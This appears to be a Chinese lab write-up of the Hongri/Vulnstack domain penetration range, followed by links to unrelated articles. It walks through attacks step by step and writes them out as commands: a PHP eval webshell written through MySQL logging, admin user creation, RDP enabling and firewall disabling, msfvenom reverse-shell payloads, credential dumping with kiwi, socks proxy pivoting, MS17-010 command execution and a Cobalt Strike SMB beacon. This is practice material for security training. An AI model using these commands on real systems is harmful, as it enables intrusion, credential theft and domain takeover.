内网域渗透总结(红日靶场一)

news2024/9/30 1:38:14

一、靶场环境搭建

  • 红日靶场:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
  • 靶机通用密码:hongrisec@2019
  • win7
  • win2003
  • win2008

这个搭建靶场的过程是我经过实际操作(踩坑)总结的最简单省事的方式。

首先创建一个仅主机模式的子网作为内网,地址为:192.168.52.0。我这里是直接修改的VMnet1。

192.168.50.0/24 即 VMnet8 当作靶场里的外网。

在这里插入图片描述
将 windows2003 和 windows2008 两台主机都设置为自定义VMnet1
在这里插入图片描述
win7是边缘主机,对外的公网ip搭建着web服务的同时还连接着内网,因此需要两块网卡。
在这里插入图片描述
注意:这两个网卡的顺序最好和我这个一致,不然有可能内网连不通!即内网网卡要排在前面。
在这里插入图片描述
最后还有我们的kali攻击机, 网络是在 50 段,即外网段。

网络拓扑图:

在这里插入图片描述

二、web渗透

上来先收集一波信息,nmap扫描一下端口

nmap -sV -Pn 192.168.50.133
-sV: 指定让Nmap进行版本侦测
-PN: 跳过Ping扫描阶段

扫描出两个端口80 3306,存在web服务和mysql数据库。
在这里插入图片描述

访问80端口,发现是个phpstudy探针,说明网站是phpstudy搭建的。
在这里插入图片描述
这个页面泄露了很多信息,服务器版本、php版本、绝对路径、管理员邮箱等。

可以在这里检测mysql是否存在弱口令
在这里插入图片描述
测试 root root 发现存在弱口令。因为网站是phpstudy搭建,很可能存在 phpmyadmin 后台,

直接来扫一下目录
在这里插入图片描述
确实存在phpmyadmin,还扫到了一个备份文件,打开发现是yxcms的网站源码,应该部署着这个CMS 。

使用弱口令登进去phpmyadmin,查看数据库是否有导入权限,看能否导入木马

SHOW GLOBAL VARIABLES LIKE '%secure%'

在这里插入图片描述
没有导入权限,查看是否有开启全局日志

SHOW GLOBAL VARIABLES LIKE '%general%'

在这里插入图片描述
全局日志功能关闭,不过可以通过命令开启,并修改日志保存的绝对路径,这里的路径可以在探针页面获得。

SET GLOBAL general_log = ON;# 开启日志
SET GLOBAL general_log_file = 'C:/phpstudy/WWW/test.php';# 设置日志位置为网站目录

接着向日志文件写shell

select '<?php eval ($_POST[s]);?>'

执行这条语句之后,日志会将select后的查询语句记录进日志,从而让日志变成一个一句话木马。

用蚁剑连接
在这里插入图片描述
连接成功。

我们再来看下部署的CMS,打开网站
在这里插入图片描述
从右下角看到了网站后台的登录地址和默认账号密码,尝试登录
在这里插入图片描述
在这里插入图片描述

成功登录。在前台模板功能里发现可以直接编辑php文件,尝试写入shell。
在这里插入图片描述
随便找一个文件添加一句话
在这里插入图片描述
保存后,接下来就要想办法找到这个info.php所在的目录了,先来扫描一下后台
在这里插入图片描述
点进去发现这个网站还存在目录遍历漏洞
在这里插入图片描述
那就好办了,为了防止疏漏我们直接去看前面扫到的备份文件(如果没有备份文件可以根据网站版本去网上自己下载)
在这里插入图片描述
找到了目标文件,尝试连接。
在这里插入图片描述
成功连接。来看一下拿到的shell是什么权限
在这里插入图片描述
太好了,是管理员权限。

紧接着先把防火墙关了,养成好习惯。

netsh advfirewall set allprofiles state off #win关闭防火墙

1、远程登录

尝试添加一个用户,进行远程登陆

net user qqq qwer@1234 /add # 添加账户密码
net localgroup administrators qqq /add  # 添加为管理员权限
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 
# 开启3389端口

在这里插入图片描述
用户添加成功,尝试登录
在这里插入图片描述
成功登录。(如果防火墙没关会登录失败)

2、上线CS:

启动服务
在这里插入图片描述
设置监听:
在这里插入图片描述
生成一个EXE后门
在这里插入图片描述
通过蚁剑上传并执行
在这里插入图片描述
在这里插入图片描述
成功上线。执行sleep 0,不然回显会很慢

sleep 0则表示进入交互模式,任何输入的命令都会被立即执行。

在这里插入图片描述
shell systeminfo 查看系统信息,看到只打了四个补丁,尝试进行提权
在这里插入图片描述
在这里插入图片描述
提权成功。

3、上线MSF:

msf生成木马

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f elf > shell.elf

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f exe > shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.jsp

Python

msfvenom -p cmd/unix/reverse_python LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=< Your IP> LPORT=< Your Port> -f raw > shell.pl

在这里插入图片描述
开启msf监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.50.130
set lport 7777
run

在这里插入图片描述
通过蚁剑将生成的木马上传并运行。
在这里插入图片描述
成功上线。再来尝试提一下权:
在这里插入图片描述
因为是administrator用户,所以很容易提权成功。

三、内网信息收集

开始进行内网的信息收集阶段。

获取目标主机的shell,输入chcp 65001可解决乱码问题(或者用蚁剑的终端)。
在这里插入图片描述
看一下路由信息

route print     # 打印路由信息

在这里插入图片描述
可知内网网段应该是 192.168.52.1/24

关于Windows域: 详细信息

Windows域是计算机网络的一种形式,其中所有用户帐户 ,计算机,打印机和其他安全主体都在位于称为域控制器(DC)的一个或多个中央计算机集群上的中央数据库中注册。 身份验证在域控制器上进行。 在域中使用计算机的每个人都会收到一个唯一的用户帐户,然后可以为该帐户分配对该域内资源的访问权限。 Windows域的概念与工作组的概念形成对比。

首先判断是否在域中,域控制器一般集成了DNS服务,通过 ipconfig /all,即可简单判断。
在这里插入图片描述
该域名为god.org,还可以使用下面这种方式。

net view /domain  #查询当前主机是否加入域,如果加入则列出域名

在这里插入图片描述
查看域内信息

net config Workstation #查看计算机名、全名、用户名、系统版本、工作站、域、登录域

在这里插入图片描述
接着定位域控:

net time /domain  #同步域控服务器时间

在这里插入图片描述
域控的域名即 owa.god.org ,用 ping 即可反查出域控ip
在这里插入图片描述
得到域控制器IP为192.168.52.138

再来看一下域内的其它主机

net view  #查看与该计算机位于同一工作组或域中的所有计算机名

在这里插入图片描述
这里的 OWA 就是上面的域控,另一个就是域内的其它主机了。

再来看一下域管理员

net group "domain admins" /domain # 查询域管理员

在这里插入图片描述
很幸运,可以看到这里我们获得的 Administration 就是域控OWA的域管理员 。

看一下域里有几个用户

net user /domain  # 查看域用户,只有域管才能执行

在这里插入图片描述
得到5个域用户名。

尝试抓取主机本地的密码:

hashdump  #导出本地用户账号密码,该命令的使用需要系统权限。

在这里插入图片描述
用户哈希数据的输出格式为:

用户名:SID:LM哈希:NTLM哈希:::

得到了三个本地用户账号,分别为 Administrator、Guest 和 liukaifeng01 。

三个账号的LM哈希aad3b435b51404eeaad3b435b51404ee和NTLM哈希31d6cfe0d16ae931b73c59d7e0c089c0都是空密码。
在这里插入图片描述
这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。

那就尝试抓取域内的账号密码:利用 msf 的 kiwi 模块 详细介绍

load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用

注意执行需要system权限。

creds_all         #列举所有凭据
creds_kerberos    #列举域内账号密码

在这里插入图片描述
成功得到域账号密码。

目前为止,我们获得的内网信息有:

域名:god.org
域内有五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt
域内三台主机:OWA、ROOT-TVI862UBEH(192.168.52.141)STU1(win7)
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143

四、横向渗透

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Windows7)的meterpreter会话来传递,需要建立socks反向代理。

注:添加路由一定要在挂代理之前,因为代理需要用到路由功能

1、添加路由、挂上Socks4a代理

使用 msf+proxychains 搭建socks4a隧道。

在之前监听到的shell中设置内网路由

run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p  # 查看路由

在这里插入图片描述
开启代理

background

use auxiliary/server/socks4a

set SRVHOST 127.0.0.1(这里因为是本机可以写本地ip)

run

在这里插入图片描述
然后在 proxychains 的配置文件 /etc/proxychains.conf,添加本机的1080端口:

socks4 127.0.0.1 1080

在这里插入图片描述
然后执行命令时,前面加上 proxychains 即可。如:

proxychains ping 192.168.52.141(域成员ip)

在这里插入图片描述
访问成功,下面就开始嚯嚯内网的两台主机。

2、域成员渗透

首先看一下域成员的端口开放情况:

全扫时间有点久,这里因为是练习,就只对高危端口进行扫描

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.141

在这里插入图片描述

看到135、445是开放的,并且这台终端为 win_2003,32位系统。

常见端口漏洞:

  • 21-FTP,看是否存在匿名访问
  • 22-SSH,看是否存在弱口令
  • 80-HTTP,常见web漏洞
  • 443-openssl,心脏出血
  • 445-smb,ms17-010、ms08-067
  • 3306-mysql,弱口令
  • 1433-mssql,弱口令
  • 1521-oracle,弱口令
  • 3389-远程连接桌面
  • 6379-redis未授权访问,弱口令
  • 8080-tomcat漏洞

这里开放了445端口,看一下是否存在ms17-010
在这里插入图片描述
确实存在漏洞,使用 use exploit/windows/smb/ms17_010_eternalblue 利用,发现只支持打64位系统,不支持32位。

再换一个模块

use auxiliary/admin/smb/ms17_010_command

set COMMAND net user

set RHOST 192.168.52.141

run

在这里插入图片描述
成功执行命令。接着我们来添加一个用户尝试远程登录一下。

还是使用上面的模块,依次执行下面命令

set command net user sss qwer@1234 /add #添加用户
run # 发现用户添加不成功,后来发现是因为有密码设置策略,密码不能太简单。

set command net localgroup administrators sss /add #管理员权限
run 

set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' 
#开启3389端口
run

set command netsh advfirewall set allprofiles state off #关闭防火墙
run #好像没有防火墙

在这里插入图片描述
然后远程登录

proxychains rdesktop 192.168.52.141

这里注意一定要选这个,因为登陆的是本机。
在这里插入图片描述
成功进来了!
在这里插入图片描述

3、域控渗透

同样的,先扫描一下端口

proxychains nmap -sV -Pn -p 22,80,135,443,445,3389 192.168.52.138

在这里插入图片描述
看到其开启了 80 端口,访问网站,发现是IIS初始网站,没有搭建网站,也不存在敏感目录。先不管它,还是先使用 ms17-010 测试一下。

发现也存在漏洞,同样先使用 use exploit/windows/smb/ms17_010_eternalblue 模块利用,但还是利用不了,猜测可能是防火墙的问题,因为这个系统是64位的。
在这里插入图片描述
再用上面的老方法 use auxiliary/admin/smb/ms17_010_command 发现可以执行。接着添加用户aaa

尝试远程连接
在这里插入图片描述
这里不知道为啥就是登不上,用户确实创建成功了。。。
在这里插入图片描述
防火墙已经关掉了,再来试试 ms17_010_eternalblue,然而还是不行。再换种方法,转战CS。

SMB Beacon:

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 psexec 或 Stageless Payload 上线

使用 smb beacon,由一台已经拿到 beacon 的机器,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用smb beacon使目标主机上线。
在这里插入图片描述
使用条件:

  • 具有 Beacon 的主机必须接受 445 端口上的连接。
  • 只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
  • 必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

这三条这里全都满足,先执行 net view 发现一下域内主机
在这里插入图片描述
在列表这里出现了域内的这两台主机。
在这里插入图片描述
新建一个 Beacon SMB 监听器,名字随便
在这里插入图片描述
域管右键选择psexec
在这里插入图片描述
在这里插入图片描述
点击运行,成功上线域管,这里顺便把域成员也上线了。可以看到 ∞∞ 这个字符 ,这就是派生的SMB Beacon。
在这里插入图片描述
🆗,本次的靶场练习到这里就正式完结啦,经过本次打靶学到了很多!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/429347.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用appuploader工具发布证书和描述性文件教程

使用APPuploader工具发布证书和描述性文件教程 之前用AppCan平台开发了一个应用&#xff0c;平台可以同时生成安卓版和苹果版&#xff0c;想着也把这应用上架到App Store试试&#xff0c;于是找同学借了个苹果开发者账号&#xff0c;但没那么简单&#xff0c;还要用到Mac电脑的…

数据结构之图(最小生成树+最短路径)

基本概念 连通&#xff1a;若a->b存在路径&#xff0c;即为连通 连通图&#xff1a;该图中任意两点均连通&#xff0c;即为连通图 连通分量&#xff1a;下图为无向图&#xff0c;但存在三个连通分量 强连通图&#xff1a;双向的连通图 强连通分量&#xff1a;有向图中的双…

分享一个免梯子智能的问答工具ChatGPT,刷题和学习的好帮手

使用了这个问答工具后,感觉前后端都要被替代了,太强了。 由于本人之前很想体验,但是一直难搞,最近发现了一个免梯子的,重要事情说一遍,免梯子!是我最近发现的最好用,最快的,且不要梯子的,用起来爽,界面也挺好看的,大家快玩儿玩儿。 试了一下写代码,写文案……真棒…

文心一言 VS chatgpt (9)-- 算法导论2.3 7题 3.1 1题

七、描述一个运行时间为O(nlgn)的算法&#xff0c;给定n个整数的集合S和另一个整数&#xff0c;该算法能确定 S中是否存在两个其和刚好为工的元素。 文心一言&#xff1a; 这里是一个运行时间为O(nlgn)的算法&#xff0c;可以用来确定集合 S 中是否存在两个元素&#xff0c;它…

FE_CSS 页面布局之定位

1 为什么需要定位 某个元素可以自由的在一个盒子内移动位置&#xff0c;并且压住其他盒子。 当我们滚动窗口的时候&#xff0c;盒子是固定屏幕某个位置的。 以上效果&#xff0c;标准流或浮动都无法快速实现&#xff0c;此时需要定位来实现。 浮动可以让多个块级盒子一行没有…

第四章 word2vec 的高速化

目录4.1 word2vec 的改进①4.1.1 Embedding 层4.1.2 Embedding 层的实现4.2 word2vec 的改进②4.2.1 中间层之后的计算问题4.2.2 从多分类到二分类4.2.3 sigmoid 函数和交叉熵误差4.2.4 多分类到二分类的实现4.2.5 负采样4.2.6 负采样的采样方法4.2.7 负采样的实现4.3 改进版 w…

组态王与FX5U之间如何快速实现无线通讯?

本方案是基于Modbus RTU协议下实现的1主多从自组网无线通信形式&#xff0c;主站为组态王&#xff0c;从站为两台三菱FX5U PLC。在工厂里&#xff0c;组态王和plc所处位置距离较为分散&#xff0c;重新铺设电缆线工期长&#xff0c;成本高&#xff0c;故采用日系PLC专用无线通讯…

【Halcon 笔记2】参数

一、图形参数 图形参数 Iconic, 包括 image, region, XLD 1.1 image 图像由一个或者多个通道组成&#xff0c;是大小相同的矩阵&#xff0c;包含各种像素类型的灰度值 在图像显示界面&#xff0c;按ctrl健&#xff0c;可以查看当前的像素值 灰度图 一个通道像素点存放在一个…

STM32开发(十四)STM32F103 数据手册 —— 通用定时器 PWN 详解

文章目录主要特点通用定时器内部框图功能描述计数器模式计数器时钟可选择时钟源PWM输入模式STM32F103内部通用定时器包括TIMx (TIM2、 TIM3、 TIM4和TIM5)定时器 主要特点 16位向上、向下、向上/向下自动装载计数器 16位可编程(可以实时修改)预分频器&#xff0c;计数器时钟频…

【MySQL学习】认识MySQL数据库

目录一、什么是数据库二、主流数据库三、MySQL数据库的基本使用3.1 MySQL的安装3.2 MySQL服务器管理3.3 连接MySQL服务器3.4 MySQL服务器&#xff0c;数据库与表之间的关系3.5 使用案例3.6 数据存储四、MySQL架构五、SQL分类六、存储引擎6.1 定义6.2 查看存储引擎6.3 存储引擎对…

检测图中的负循环 | (贝尔曼福特)

我们得到了一个有向图。我们需要计算图形是否有负循环。负循环是循环的总和变为负的循环。 在图形的各种应用中都可以找到负权重。例如,如果我们沿着这条路走,我们可能会得到一些好处,而不是为一条路付出代价。 例子:

基于html+css的图片展示13

准备项目 项目开发工具 Visual Studio Code 1.44.2 版本: 1.44.2 提交: ff915844119ce9485abfe8aa9076ec76b5300ddd 日期: 2020-04-16T16:36:23.138Z Electron: 7.1.11 Chrome: 78.0.3904.130 Node.js: 12.8.1 V8: 7.8.279.23-electron.0 OS: Windows_NT x64 10.0.19044 项目…

震惊!竟然有人如此解释关键字中的static

&#x1f929;&#xff1a;大家好&#xff0c;我是paperjie&#xff0c;感谢你阅读本文&#xff0c;欢迎一建三连哦。 &#x1f970;&#xff1a;这里是C专栏&#xff0c;笔者用重金(时间和精力)打造&#xff0c;基础知识一网打尽&#xff0c;希望可以帮到读者们哦。 &#x1f…

工作中使用即时通讯软件有什么好处?

以前&#xff0c;即时通讯被认定为是一个专供个人使用的通信工具&#xff0c;即时消息软件不仅用于简化通信和快速响应&#xff0c;而且还用于文件共享和信息更新&#xff0c;它可帮助公司中的员工进行沟通、满足需求并实现目标。在即时通讯的帮助下&#xff0c;员工无需离开办…

交互式shell脚本编程2

当你在终端环境下安装新的软件时&#xff0c;你可以经常看到信息对话框弹出&#xff0c;需要你的输入&#xff0c;比如&#xff1a;RHEL/CentOS自带的setup&#xff0c;对话框的类型有密码箱、检查表、菜单等等。他们可以引导你以一种直观的方式输入必要的信息&#xff0c;使用…

3d可视化精炼数字工厂互动大屏展示提高企业竞争力

随着各种新兴技术的不断崛起和进步&#xff0c;结合云计算、5G通信、物联网等技术突破数据孤岛&#xff0c;加速炼钢厂整个行业的转型升级已成为行业的大趋势。 传统的维修场景中&#xff0c;一线员工的双手难以得到解放&#xff0c;一线工作数据难以收集、保存、输出。一辆汽车…

leetcode刷题(4)

各位朋友们&#xff0c;大家好。这两天我将为大家分享我在学习栈的过程中遇到的题目&#xff0c;我们一起来看看。 文章目录逆波兰表达式求值题目要求用例输入提示做题思路代码实现c语言实现代码Java语言实现代码有效的括号Java代码实现逆波兰表达式求值 leetcode之逆波兰表达…

Python基于机器学习实现的股票价格预测、股票预测源码+数据集,机器学习大作业

Feature与预测目标的选取 选择的feature: 开盘价最高成交价最低成交价成交量 选择的预测目标: 收盘价 因为股票价格的影响因素太多&#xff0c;通过k线数据预测未来的价格变化基本不可行&#xff0c;只有当天之内的数据还有一定的关联&#xff0c;故feature与target都选择的…

Oracle daily maintenancy-high active sessions

文章目录1.About check_mk metric:ORA_ORCL_Active_Session2.Solution2.1get the total number of active concurrent sessions2.2 the possible reason for this:2.2.1.High connection for normal behavior that happens occasionally2.2.2.resource competition1.About chec…

CentOS7---部署LNMP数据存储到redis

一、部署LNMP及redis 1、部署LNMP&#xff0c;需要将 tengine-2.2.0.tar.gz 拷贝到虚拟机的 /root 目录下 步骤一&#xff1a;安装nginx 源码安装相关软件包 # pcre-devel做正则匹配&#xff0c;zlib-devel做数据压缩 [roottemplate ~]# yum -y install gcc pcre-devel zlib-de…